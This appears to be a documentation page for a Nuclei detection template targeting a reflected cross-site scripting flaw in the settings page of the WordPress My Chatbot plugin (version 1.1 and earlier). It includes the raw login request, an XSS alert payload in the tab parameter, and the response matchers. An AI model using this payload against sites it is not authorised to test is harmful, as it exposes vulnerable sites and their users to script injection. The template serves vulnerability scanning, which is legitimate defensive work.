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WordPress My Chatbot <= 1.1 - Cross-Site Scripting

ID: my-chatbot-xss

Severity: high

Author: dhiyaneshDk

Tags: wordpress,wp-plugin,xss,authenticated,wpscan

Description

Section titled “Description”

WordPress My Chatbot <= 1.1 is susceptible to cross-site scripting. The plugin does not sanitize or escape its tab parameter in the Settings page before outputting it back in an attribute.

YAML Source

Section titled “YAML Source”
id: my-chatbot-xss


info:
  name: WordPress My Chatbot <= 1.1 - Cross-Site Scripting
  author: dhiyaneshDk
  severity: high
  description: WordPress My Chatbot <= 1.1  is susceptible to cross-site scripting. The plugin does not sanitize or escape its tab parameter in the Settings page before outputting it back in an attribute.
  reference:
    - https://wpscan.com/vulnerability/c0b6f63b-95d1-4782-9554-975d6d7bbd3d
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 2
  tags: wordpress,wp-plugin,xss,authenticated,wpscan


http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check


        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/options-general.php?page=my-chatbot&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/my-chatbot-xss.yaml"

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